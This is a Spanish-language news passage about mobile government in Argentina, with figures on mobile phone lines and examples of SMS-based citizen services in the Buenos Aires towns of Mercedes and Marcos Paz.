      En un país con casi 58 millones de líneas telefónicas móviles, de acuerdo al Instituto Nacional de Estadística y Censos (INDEC), de las cuales hay alrededor de 37 millones en actividad, según consultores privados, es lógica la aparición de experiencias como las de la provincia de Buenos Aires, que se vienen dando en otras escalas y niveles en otras ciudades del país.
      El gobierno móvil puede ser entendido como un canal más de comunicación con el ciudadano (G2C) y como una herramienta para facilitar el trabajo de los funcionarios (G2G). Aunque el dispositivo que más actúa en el “m-gov” es el celular, también se incluyen a las computadoras portátiles, como notebooks, netbooks y tabletas.
      Los mensajes hablados o de texto (SMS), e-mail móvil, envío de datos en forma inalámbrica son algunas de las vías de comunicación entre el ciudadano y el Estado en el marco de estas aplicaciones “wireless”.
      Los módulos y servicios en principio son similares a los del gobierno electrónico tradicional: la búsqueda de información y participación por parte del ciudadano; los modelos transaccionales, como el pago de impuestos o la reserva de turnos de atención médica; y los modelos integrados a la gestión interna del Estado.
      Sin embargo, el gobierno móvil abre la posibilidad a una contribución distintiva a las formas ya existentes, basadas en las computadoras, porque el ciudadano se puede conectar desde cualquier lugar con dispositivos personales que están siempre con él las 24 horas los siete días de la semana y que está siempre disponible.
      Aunque la computadora ofrece más posibilidades y una mejor interface que el celular, gracias al teclado, los teléfonos inteligentes (“smartphones”) ya ofrecen esas mismas capacidades, por lo cual terminarán inclinando la balanza para el lado del Gobierno móvil.
      Móviles bonaerenses
      Un ejemplo a nivel municipal de aplicaciones móviles se da en las ciudades bonaerenses de Mercedes y Marcos Paz. Maximiliano C. Chisnerman, subsecretario de Reforma y Modernización del Estado del rimero de esos distritos y coordinador del área de Modernización y Digitalización del segundo, y responsable del plan “Marcos Paz Digital”, explicó a PuntoGov que hay dos tipos de programas: los de gestión interna y los que están relacionados con los ciudadanos. Dentro del segundo grupo están los siguientes ejemplos:
      Alertas vecinales: cualquier vecino puede suscribirse a informaciones de cultura, turismo, ambiente, seguridad, etc.
      Avisos de movimientos de reclamos, expedientes, contravenciones, que se avisan por mensaje de texto.